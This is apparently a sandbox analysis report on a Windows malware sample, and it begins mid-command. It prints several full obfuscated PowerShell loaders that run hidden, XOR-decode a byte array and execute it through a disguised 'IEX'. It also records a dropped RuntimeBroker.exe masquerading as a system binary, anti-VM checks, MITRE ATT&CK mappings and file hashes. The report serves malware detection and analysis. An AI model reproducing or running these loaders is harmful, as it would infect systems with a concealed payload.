e,0x3c,0x51,0x4c,0x43,0x16,0x5c,0x6d,0x3f,0x33,0x2d,0x37,0x36,0x03,0x50,0x63,0x34,0x37,0x14,0x21,0x56,0x25,0x24,0x12,0x09,0x47,0x55,0x19,0x43,0x31,0x6d,0x06,0x30,0x6d,0x3e,0x56,0x40,0x21,0x68,0x37,0x29,0x4c,0x2a,0x79,0x55,0x18,0x1a,0x4d,0x22,0x4c,0x2d,0x24,0x1b,0x7b,0x15,0x18,0x5c,0x50,0x30,0x36,0x14,0x68,0x1c,0x32,0x79,0x5c,0x3f,0x5a,0x58,0x15,0x57,0x3b,0x05,0x1b,0x2f,0x29,0x0f,0x13,0x7b,0x3c,0x21,0x03,0x2d,0x56,0x3f,0x24);$w=([Text.Encoding]::ASCII.GetBytes('BYqh36q8LVoVEj33UEgH8'))*21;$zn=New-Object byte[] $sk.Length;for($hg=0;$hg-lt$sk.Length;$hg++){$zn[$hg]=$sk[$hg]-bxor$w[$hg]};$n=[Text.Encoding]::UTF8.GetString($zn);try{& $bd $n}catch{}"
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Looks for VirtualBox Guest Additions in registry
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Looks for VMWare Tools registry key
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2980
- C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe"
  2⤵
  - Executes a file named after a Windows system binary
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$aq='I';$aq+='E'+'X';$vf=3+2;$mn=[byte[]]@(0x5c,0x24,0x54,0x03,0x71,0x24,0x50,0x4a,0x11,0x21,0x1d,0x31,0x74,0x08,0x04,0x0d,0x10,0x72,0x4e,0x7b,0x01,0x01,0x7b,0x58,0x19,0x17,0x21,0x03,0x0d,0x0f,0x24,0x2b,0x3d,0x0e,0x26,0x41,0x2b,0x2e,0x5a,0x07,0x19,0x12,0x07,0x37,0x2d,0x2d,0x04,0x15,0x3a,0x3d,0x11,0x13,0x0d,0x38,0x53,0x11,0x31,0x64,0x2f,0x21,0x3d,0x31,0x11,0x10,0x17,0x3c,0x1a,0x14,0x63,0x36,0x12,0x14,0x78,0x75,0x13,0x7e,0x30,0x3e,0x4d,0x2d,0x1d,0x21,0x1d,0x1e,0x1a,0x2c,0x42,0x0a,0x65,0x63,0x26,0x0e,0x15,0x15,0x5f,0x25,0x2b,0x1d,0x2f,0x67,0x1d,0x0c,0x64,0x27,0x19,0x12,0x23,0x32,0x38,0x2a,0x00,0x55,0x58,0x1b,0x07,0x50,0x64,0x11,0x60,0x2f,0x32,0x25,0x1c,0x20,0x79,0x0c,0x0a,0x16,0x14,0x21,0x4e,0x1a,0x31,0x69,0x40,0x5f,0x74,0x39,0x55,0x2c)+[byte[]]@(0x3f,0x70,0x31,0x1c,0x0b,0x26,0x44,0x63,0x2b,0x39,0x5e,0x42,0x62,0x0c,0x25,0x09,0x14,0x62,0x39,0x31,0x39,0x00,0x2d,0x64,0x0b,0x1f,0x73,0x3e,0x04,0x07,0x3e,0x0c,0x05,0x1c,0x36,0x3d,0x2c,0x0e,0x3f,0x71,0x05,0x15,0x69,0x3d,0x62,0x6d,0x15,0x61,0x2f,0x65,0x54,0x04,0x43,0x3b,0x0f,0x1b,0x67,0x23,0x59,0x16,0x65,0x60,0x18,0x6c,0x22,0x7c,0x15,0x44,0x32,0x3d,0x00,0x5d,0x67,0x1d,0x57,0x16,0x2d,0x64,0x4a,0x20,0x37,0x2e,0x5f,0x2d,0x3d,0x1f,0x39,0x13,0x62,0x16,0x7f,0x2d,0x6b,0x14,0x0f,0x31,0x31,0x05,0x5f,0x43,0x3f,0x37,0x1d,0x61,0x2b,0x23,0x52,0x0d,0x28,0x02,0x07,0x29,0x3c,0x16,0x04,0x14,0x1d,0x7a,0x40,0x18,0x6d,0x63,0x53,0x1a,0x20,0x63,0x47,0x7e,0x2d,0x2a,0x1c,0x02,0x31,0x3c,0x1f,0x5c,0x21,0x28,0x1b,0x35,0x20)+[byte[]]@(0x26,0x3c,0x20,0x28,0x2d,0x00,0x0a,0x0c,0x72,0x44,0x66,0x38,0x24,0x16,0x45,0x2d,0x30,0x1a,0x35,0x63,0x77,0x4a,0x4e,0x40,0x7c,0x58,0x06,0x7e,0x63,0x07,0x52,0x76,0x6a,0x5c,0x75,0x63,0x69,0x56,0x48,0x4b,0x67,0x46,0x40,0x3e,0x2c,0x51,0x07,0x62,0x64,0x43,0x0a,0x2c,0x2c,0x23,0x10,0x14,0x37,0x49,0x17,0x3a,0x6d,0x1b,0x37,0x36,0x21,0x2c,0x24,0x2a,0x31,0x06,0x29,0x19,0x20,0x1a,0x5a,0x24,0x2a,0x4b,0x01,0x24,0x30,0x0d,0x2d,0x22,0x25,0x5e,0x10,0x1e,0x7a,0x3d,0x56,0x39,0x39,0x1b,0x32,0x24,0x30,0x06,0x65,0x7d,0x28,0x4c,0x02,0x2b,0x26,0x08,0x41,0x3e,0x60,0x66,0x10,0x2a,0x27,0x0b,0x36,0x2a,0x78,0x41,0x09,0x58,0x7f,0x3e,0x5a,0x24,0x29,0x59,0x15,0x16,0x30,0x17,0x29,0x3c,0x78,0x2d,0x10,0x1c,0x36,0x0c,0x5d,0x37,0x30);$qu=([Text.Encoding]::ASCII.GetBytes('xRi3JM6bEDnEYXey'))*27;$nc=New-Object byte[] $mn.Length;for($dj=0;$dj-lt$mn.Length;$dj++){$nc[$dj]=$mn[$dj]-bxor$qu[$dj]};$iw=[Text.Encoding]::UTF8.GetString($nc);try{& $aq $iw}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$yi='I';$yi+='E'+'X';$qk=5+8;$r=[byte[]]@(0x16,0x1f,0x4a,0x5e,0x58,0x1c,0x20,0x49,0x3d,0x21,0x21,0x42,0x48,0x26,0x0c,0x41,0x3b,0x4a,0x14,0x2d,0x73,0x7e,0x24,0x4d,0x32,0x30,0x3a,0x00,0x35,0x3e,0x05,0x00,0x73,0x39,0x39,0x1f,0x54,0x30,0x06,0x56,0x39,0x6e,0x5b,0x1b,0x03,0x1b,0x02,0x19,0x04,0x0e,0x11,0x64,0x15,0x43,0x00,0x05,0x19,0x15,0x12,0x0e,0x57,0x0c,0x4c,0x5b,0x06,0x19,0x1d,0x44,0x5c,0x3d,0x45,0x1f,0x79,0x63,0x4b,0x5e,0x1f,0x0b,0x1d,0x07,0x0f,0x40,0x11,0x15,0x62,0x08,0x03,0x06,0x43,0x52,0x0e,0x2a,0x25,0x09,0x68,0x6a,0x36,0x39,0x2b,0x61,0x04,0x2b,0x61,0x20,0x64,0x64,0x24,0x00,0x0f,0x11,0x10,0x6a,0x41,0x20,0x2a,0x31,0x18,0x39,0x20,0x20,0x42,0x32,0x18,0x56,0x45,0x6c,0x5d,0x06,0x1b,0x1d,0x44,0x5c,0x3d,0x45,0x1f,0x79,0x63,0x4b,0x5e,0x1f)+[byte[]]@(0x0b,0x1d,0x07,0x0f,0x40,0x11,0x15,0x62,0x08,0x03,0x06,0x43,0x52,0x0e,0x2a,0x25,0x09,0x68,0x6a,0x2d,0x37,0x3f,0x71,0x04,0x2b,0x61,0x20,0x64,0x73,0x2a,0x27,0x27,0x3f,0x31,0x15,0x25,0x3d,0x18,0x04,0x74,0x2a,0x2e,0x32,0x6a,0x74,0x43,0x48,0x41,0x4e,0x0f,0x58,0x0a,0x55,0x0a,0x13,0x6e,0x4c,0x07,0x2b,0x26,0x16,0x41,0x00,0x44,0x4e,0x77,0x1a,0x0e,0x2f,0x57,0x5b,0x07,0x5a,0x3e,0x02,0x01,0x2e,0x41,0x4d,0x21,0x3c,0x40,0x5f,0x22,0x28,0x78,0x03,0x4a,0x1b,0x3e,0x71,0x7d,0x47,0x27,0x0f,0x17,0x1d,0x1b,0x5b,0x53,0x03,0x37,0x42,0x37,0x17,0x03,0x51,0x3c,0x07,0x75,0x0c,0x54,0x57,0x27,0x16,0x03,0x06,0x5d,0x6f,0x4a,0x4e,0x6a,0x37,0x4e,0x00,0x51,0x44,0x0e,0x27,0x18,0x4a,0x1e,0x71,0x5c,0x1f,0x18,0x05,0x06,0x58,0x11,0x04)+[byte[]]@(0x0b,0x16,0x37,0x47,0x10,0x13,0x1e,0x41,0x73,0x47,0x66,0x17,0x51,0x12,0x4e,0x1f,0x1a,0x17,0x05,0x7c,0x4e,0x46,0x73,0x6a,0x18,0x54,0x43,0x59,0x1b,0x62,0x5a,0x00,0x4b,0x0a,0x02,0x53,0x46,0x5d,0x52,0x46,0x73,0x4e,0x1a,0x30,0x33,0x51,0x00,0x51,0x4d,0x18,0x1c,0x1f,0x47,0x23,0x51,0x5e,0x0c,0x57,0x4a,0x13,0x55,0x6b,0x34,0x1a,0x21,0x10,0x57,0x16,0x1f,0x0e,0x65,0x32,0x18,0x40,0x0c,0x56,0x55,0x14,0x14,0x0f,0x17,0x16,0x2e,0x1a,0x14,0x7f,0x3b,0x50,0x4d,0x22,0x08,0x46,0x27,0x47,0x63,0x04,0x4c,0x5a,0x49,0x53,0x1e,0x4a,0x0e,0x15,0x15,0x08,0x36,0x26,0x1b,0x35,0x04,0x02,0x56,0x36,0x19,0x40,0x45,0x1c,0x42,0x49,0x5a,0x39,0x0a,0x1b,0x22,0x0e,0x1e,0x17,0x26,0x4f,0x09,0x13,0x4d,0x7d,0x3a,0x0e,0x57,0x00,0x56,0x4f,0x14);$s=([Text.Encoding]::ASCII.GetBytes('2iwncuFaiDR6evm5Sj3e8'))*21;$sy=New-Object byte[] $r.Length;for($eg=0;$eg-lt$r.Length;$eg++){$sy[$eg]=$r[$eg]-bxor$s[$eg]};$fv=[Text.Encoding]::UTF8.GetString($sy);try{& $yi $fv}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$bd='I';$bd+='E'+'X';$f=3+8;$sk=[byte[]]@(0x66,0x2f,0x4c,0x58,0x08,0x5f,0x17,0x10,0x18,0x33,0x1c,0x22,0x68,0x3a,0x52,0x47,0x3d,0x65,0x40,0x00,0x73,0x0e,0x14,0x4b,0x34,0x60,0x79,0x37,0x6c,0x1b,0x17,0x3d,0x13,0x19,0x25,0x41,0x52,0x36,0x29,0x02,0x14,0x6e,0x2b,0x2b,0x05,0x1d,0x52,0x5a,0x33,0x57,0x34,0x76,0x28,0x23,0x20,0x19,0x47,0x13,0x14,0x21,0x03,0x21,0x4c,0x2b,0x36,0x1f,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03,0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x16,0x25,0x75,0x67,0x02,0x04,0x35,0x0d,0x64,0x14,0x14,0x06,0x09,0x41,0x53,0x5d,0x18,0x05,0x38,0x0c,0x78,0x19,0x3c,0x7e,0x44,0x34,0x37,0x02,0x68,0x6c,0x2d,0x36,0x1d,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03)+[byte[]]@(0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x0d,0x2b,0x61,0x77,0x02,0x04,0x35,0x0d,0x64,0x03,0x1a,0x21,0x21,0x6f,0x72,0x22,0x7c,0x18,0x0a,0x39,0x14,0x0a,0x32,0x6c,0x6c,0x72,0x6c,0x1c,0x6c,0x4e,0x7f,0x68,0x0c,0x53,0x5a,0x50,0x59,0x15,0x22,0x39,0x1b,0x76,0x61,0x1c,0x1a,0x48,0x71,0x35,0x5a,0x02,0x57,0x2b,0x37,0x5c,0x38,0x52,0x42,0x19,0x18,0x68,0x33,0x01,0x20,0x7f,0x3e,0x76,0x7e,0x05,0x65,0x4f,0x13,0x71,0x0d,0x77,0x21,0x09,0x47,0x5e,0x2c,0x02,0x76,0x11,0x0a,0x22,0x17,0x0b,0x5d,0x57,0x3a,0x28,0x21,0x21,0x54,0x27,0x17,0x10,0x05,0x56,0x1e,0x58,0x13,0x6b,0x78,0x0a,0x2e,0x20,0x4d,0x1a,0x08,0x21,0x37,0x1e,0x33,0x71,0x2c,0x2f,0x1e,0x03,0x56,0x1b,0x26,0x5d)+[byte[]]@(0x2e,0x04,0x0a,0x27,0x30,0x0f,0x40,0x47,0x75,0x68,0x32,0x3a,0x51,0x62,0x7e,0x19,0x1c,0x47,0x46,0x4b,0x17,0x63,0x61,0x57,0x78,0x74,0x5f,0x07,0x1d,0x64,0x75,0x54,0x66,0x0a,0x72,0x63,0x40,0x5b,0x02,0x05,0x44,0x17,0x3f,0x22,0x0e,0x31,0x20,0x4d,0x13,0x1e,0x1a,0x30,0x13,0x0e,0x51,0x2e,0x3c,0x51,0x4c,0x43,0x16,0x5c,0x6d,0x3f,0x33,0x2d,0x37,0x36,0x03,0x50,0x63,0x34,0x37,0x14,0x21,0x56,0x25,0x24,0x12,0x09,0x47,0x55,0x19,0x43,0x31,0x6d,0x06,0x30,0x6d,0x3e,0x56,0x40,0x21,0x68,0x37,0x29,0x4c,0x2a,0x79,0x55,0x18,0x1a,0x4d,0x22,0x4c,0x2d,0x24,0x1b,0x7b,0x15,0x18,0x5c,0x50,0x30,0x36,0x14,0x68,0x1c,0x32,0x79,0x5c,0x3f,0x5a,0x58,0x15,0x57,0x3b,0x05,0x1b,0x2f,0x29,0x0f,0x13,0x7b,0x3c,0x21,0x03,0x2d,0x56,0x3f,0x24);$w=([Text.Encoding]::ASCII.GetBytes('BYqh36q8LVoVEj33UEgH8'))*21;$zn=New-Object byte[] $sk.Length;for($hg=0;$hg-lt$sk.Length;$hg++){$zn[$hg]=$sk[$hg]-bxor$w[$hg]};$n=[Text.Encoding]::UTF8.GetString($zn);try{& $bd $n}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$j='I';$j+='E'+'X';$h=1+8;$ac=[byte[]]@(0x12,0x32,0x55,0x42,0x48,0x1a,0x09,0x52,0x13,0x37,0x39,0x27,0x1a,0x63,0x20,0x30,0x31,0x6a,0x6b,0x2e,0x7d,0x08,0x25,0x48,0x2f,0x20,0x20,0x3c,0x13,0x05,0x0b,0x01,0x72,0x6f,0x0e,0x36,0x38,0x29,0x20,0x03,0x6a,0x12,0x01,0x00,0x07,0x06,0x0e,0x16,0x05,0x3d,0x32,0x73,0x70,0x46,0x24,0x37,0x2d,0x6a,0x0d,0x02,0x52,0x2d,0x1c,0x1b,0x1c,0x1d,0x1c,0x5d,0x6e,0x29,0x6e,0x25,0x0a,0x02,0x3c,0x7f,0x30,0x2c,0x64,0x32,0x53,0x37,0x1c,0x5f,0x23,0x12,0x1b,0x12,0x67,0x75,0x02,0x18,0x7b,0x7e,0x7b,0x18,0x0a,0x05,0x0a,0x32,0x61,0x05,0x3a,0x37,0x2f,0x25,0x22,0x0d,0x26,0x20,0x2f,0x7f,0x17,0x7a,0x2f,0x27,0x77,0x16,0x1a,0x2b,0x41,0x25,0x1a,0x17,0x53,0x27,0x00,0x15,0x2b,0x21,0x6d,0x7a,0x4c,0x17,0x37,0x79,0x68,0x37,0x77,0x0f)+[byte[]]@(0x50,0x6c,0x3c,0x17,0x00,0x07,0x42,0x2a,0x26,0x26,0x22,0x73,0x10,0x7b,0x0a,0x08,0x14,0x70,0x10,0x2e,0x77,0x16,0x2c,0x25,0x32,0x21,0x2a,0x26,0x06,0x11,0x1a,0x1a,0x6b,0x77,0x12,0x00,0x0d,0x16,0x1a,0x24,0x79,0x1c,0x37,0x2d,0x54,0x5a,0x14,0x5e,0x31,0x6f,0x7b,0x2e,0x0c,0x5a,0x27,0x6c,0x74,0x24,0x23,0x12,0x16,0x60,0x1e,0x5b,0x08,0x57,0x1f,0x47,0x0d,0x3d,0x23,0x3d,0x1a,0x63,0x20,0x30,0x31,0x6a,0x68,0x03,0x58,0x32,0x52,0x26,0x36,0x3e,0x3f,0x5a,0x6f,0x09,0x03,0x1c,0x19,0x63,0x20,0x30,0x31,0x17,0x76,0x5c,0x71,0x21,0x1c,0x20,0x12,0x1d,0x0b,0x15,0x2a,0x14,0x23,0x3f,0x52,0x7d,0x20,0x29,0x3c,0x62,0x65,0x4d,0x11,0x6a,0x0d,0x0a,0x16,0x54,0x46,0x41,0x33,0x20,0x33,0x28,0x7e,0x5d,0x37,0x2b,0x32,0x2f,0x61,0x31,0x53)+[byte[]]@(0x26,0x3a,0x17,0x02,0x06,0x0a,0x09,0x33,0x72,0x67,0x06,0x45,0x5a,0x61,0x63,0x31,0x3e,0x38,0x16,0x0c,0x6b,0x47,0x45,0x4b,0x5d,0x5e,0x4f,0x73,0x7c,0x7b,0x63,0x04,0x1d,0x73,0x74,0x63,0x7b,0x7f,0x57,0x05,0x71,0x47,0x01,0x07,0x12,0x08,0x1f,0x60,0x72,0x67,0x1c,0x42,0x47,0x07,0x2d,0x35,0x2f,0x6c,0x42,0x46,0x64,0x45,0x27,0x00,0x16,0x2d,0x1b,0x34,0x3b,0x29,0x03,0x56,0x41,0x32,0x2d,0x37,0x2d,0x31,0x05,0x57,0x30,0x0b,0x1a,0x08,0x0e,0x54,0x13,0x21,0x7a,0x1e,0x36,0x44,0x47,0x6c,0x14,0x38,0x3e,0x24,0x46,0x12,0x34,0x41,0x09,0x20,0x07,0x0e,0x08,0x33,0x7f,0x1a,0x21,0x58,0x50,0x24,0x37,0x2a,0x6a,0x68,0x16,0x16,0x69,0x3f,0x1b,0x1d,0x17,0x00,0x0d,0x14,0x26,0x33,0x3f,0x52,0x13,0x09,0x2d,0x3d,0x2e,0x29,0x08,0x4b,0x39);$c=([Text.Encoding]::ASCII.GetBytes('6DhrssozGRJS73ADYJLf'))*22;$g=New-Object byte[] $ac.Length;for($zs=0;$zs-lt$ac.Length;$zs++){$g[$zs]=$ac[$zs]-bxor$c[$zs]};$yc=[Text.Encoding]::UTF8.GetString($g);try{& $j $yc}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4320
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -nop -w hidden -c "$bd='I';$bd+='E'+'X';$f=3+8;$sk=[byte[]]@(0x66,0x2f,0x4c,0x58,0x08,0x5f,0x17,0x10,0x18,0x33,0x1c,0x22,0x68,0x3a,0x52,0x47,0x3d,0x65,0x40,0x00,0x73,0x0e,0x14,0x4b,0x34,0x60,0x79,0x37,0x6c,0x1b,0x17,0x3d,0x13,0x19,0x25,0x41,0x52,0x36,0x29,0x02,0x14,0x6e,0x2b,0x2b,0x05,0x1d,0x52,0x5a,0x33,0x57,0x34,0x76,0x28,0x23,0x20,0x19,0x47,0x13,0x14,0x21,0x03,0x21,0x4c,0x2b,0x36,0x1f,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03,0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x16,0x25,0x75,0x67,0x02,0x04,0x35,0x0d,0x64,0x14,0x14,0x06,0x09,0x41,0x53,0x5d,0x18,0x05,0x38,0x0c,0x78,0x19,0x3c,0x7e,0x44,0x34,0x37,0x02,0x68,0x6c,0x2d,0x36,0x1d,0x1b,0x14,0x1f,0x0a,0x1c,0x3a,0x6b,0x5e,0x2b,0x7e,0x03)+[byte[]]@(0x55,0x1b,0x01,0x20,0x14,0x3c,0x15,0x12,0x38,0x05,0x00,0x13,0x11,0x39,0x73,0x00,0x1b,0x55,0x0a,0x0d,0x2b,0x61,0x77,0x02,0x04,0x35,0x0d,0x64,0x03,0x1a,0x21,0x21,0x6f,0x72,0x22,0x7c,0x18,0x0a,0x39,0x14,0x0a,0x32,0x6c,0x6c,0x72,0x6c,0x1c,0x6c,0x4e,0x7f,0x68,0x0c,0x53,0x5a,0x50,0x59,0x15,0x22,0x39,0x1b,0x76,0x61,0x1c,0x1a,0x48,0x71,0x35,0x5a,0x02,0x57,0x2b,0x37,0x5c,0x38,0x52,0x42,0x19,0x18,0x68,0x33,0x01,0x20,0x7f,0x3e,0x76,0x7e,0x05,0x65,0x4f,0x13,0x71,0x0d,0x77,0x21,0x09,0x47,0x5e,0x2c,0x02,0x76,0x11,0x0a,0x22,0x17,0x0b,0x5d,0x57,0x3a,0x28,0x21,0x21,0x54,0x27,0x17,0x10,0x05,0x56,0x1e,0x58,0x13,0x6b,0x78,0x0a,0x2e,0x20,0x4d,0x1a,0x08,0x21,0x37,0x1e,0x33,0x71,0x2c,0x2f,0x1e,0x03,0x56,0x1b,0x26,0x5d)+[byte[]]@(0x2e,0x04,0x0a,0x27,0x30,0x0f,0x40,0x47,0x75,0x68,0x32,0x3a,0x51,0x62,0x7e,0x19,0x1c,0x47,0x46,0x4b,0x17,0x63,0x61,0x57,0x78,0x74,0x5f,0x07,0x1d,0x64,0x75,0x54,0x66,0x0a,0x72,0x63,0x40,0x5b,0x02,0x05,0x44,0x17,0x3f,0x22,0x0e,0x31,0x20,0x4d,0x13,0x1e,0x1a,0x30,0x13,0x0e,0x51,0x2e,0x3c,0x51,0x4c,0x43,0x16,0x5c,0x6d,0x3f,0x33,0x2d,0x37,0x36,0x03,0x50,0x63,0x34,0x37,0x14,0x21,0x56,0x25,0x24,0x12,0x09,0x47,0x55,0x19,0x43,0x31,0x6d,0x06,0x30,0x6d,0x3e,0x56,0x40,0x21,0x68,0x37,0x29,0x4c,0x2a,0x79,0x55,0x18,0x1a,0x4d,0x22,0x4c,0x2d,0x24,0x1b,0x7b,0x15,0x18,0x5c,0x50,0x30,0x36,0x14,0x68,0x1c,0x32,0x79,0x5c,0x3f,0x5a,0x58,0x15,0x57,0x3b,0x05,0x1b,0x2f,0x29,0x0f,0x13,0x7b,0x3c,0x21,0x03,0x2d,0x56,0x3f,0x24);$w=([Text.Encoding]::ASCII.GetBytes('BYqh36q8LVoVEj33UEgH8'))*21;$zn=New-Object byte[] $sk.Length;for($hg=0;$hg-lt$sk.Length;$hg++){$zn[$hg]=$sk[$hg]-bxor$w[$hg]};$n=[Text.Encoding]::UTF8.GetString($zn);try{& $bd $n}catch{}"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Looks for VirtualBox Guest Additions in registry
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Looks for VMWare Tools registry key
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RuntimeBroker.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
Size 796KB
SHA256 4c6a47b1307f576a926c77e6f547c2e2318cc9ca5694550bce49762dab5fbe92
MD5 5ea30a57c6a3a6c8401a0b5d3433c7fd
SHA1 3212dd12422118de10b4772164c07b28d658ae79
SHA512 e4acf4fefeb79de892655a76698b630ca61529d794f029c9195a04b223472ea6e5131eb4b1c1d78179cf41efd4e3aa565c8f148ffb5310299dc032e04a7a07f4
SSDEEP 12288:Yo7gxpxzTedtQUOF4s3OeF7Fpya3JtDt1IWW0yk8a8URYiDSn2lbSb:Yo7upxzTedted7Fpn3nZLh8aeiGn2S
TLSH
T1C805BF45F2FD41F8D07BD1389686AA0FEA363809072025DB63E046987FB77F45BB6612
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
MD5 d0d3fac03f88767610f5a99b8ef62534
SHA1 ea88be022253f1717dc92755386a6b006d8e1161
SHA512 22253d382bb8cd22a7219803e10bcc5d1c070aef98e01f99ac6589d6361d6571c45b89dd5ba1ff3ad4b1c8f01508873878aab9be1526b777a8ae574c3b86c57e
TLSH
T1C921AF37B3CC8714DC8A403A50CDAC1032B5C7D7409ECF6B7B84D544B42F599CE60150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b27052db5ca4073265ef65f0ba20eb59972d4dfe3798bad344b34985ca05ddee
MD5 e9587ab2d88c58332ca8fc8aa88f8da6
SHA1 74d8a993c68e36828cf2d7c92e6211e2e572be0e
SHA512 580a6f46784d06e865ee364469f636183ca78ede949958fea61b9476ffcf4e893b608b9ba25bd819aaa3a8a8815d37d6472199315e5ee86b7dd51542c6682086
TLSH
T1A0217F37B3DC8714DC9A413A50CDAC1036B5D7D7409ECF6B7B84D544B42F599DE61150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0c0236308733cd437634732f61af1affd87d2d91e3c6a64130109a95b7ddb1b1
MD5 02cc65f25d52eedc3ee2f4a9e1d0a67e
SHA1 e048c6dccd164d383b45ab3545598093a6ea5999
SHA512 20a8ae1113ed3895904f2db07bc6489d2c1d5cf361edbdbc57657a2d9139db7d4b738690a40dad986368633a6096c8525bf1e89010e16a8ba67362b668d6099a
TLSH
T186215C37B3DC8614DC9A413A50CDAC1036B5C7D7419ECF6B7B84D544B42F699DE61150
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 343561bc813819e8d8e234f3ed31c8f498c50ef878fb2addb5d0459425cdd22c
MD5 b9a619ed465e1c277a56f758bbf938b5
SHA1 88ce48c2d8703c98cffccbea4c4ce192b58ce0cc
SHA512 a006968d7bdf9f4f2af22c0a386deeab221b503d8f2c91881435dc6d693e3d260acfb69b908780f8adbd23887e192b7c0897b8f4b81affe0d17018884f46698e
TLSH
T1E5217F37B3DC8714DC9A413A50CDAC1036B5C7D7409ECF6B7B84D544B42F599DE61250
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_22cd4ztn.ahr.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_22cd4ztn.ahr.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
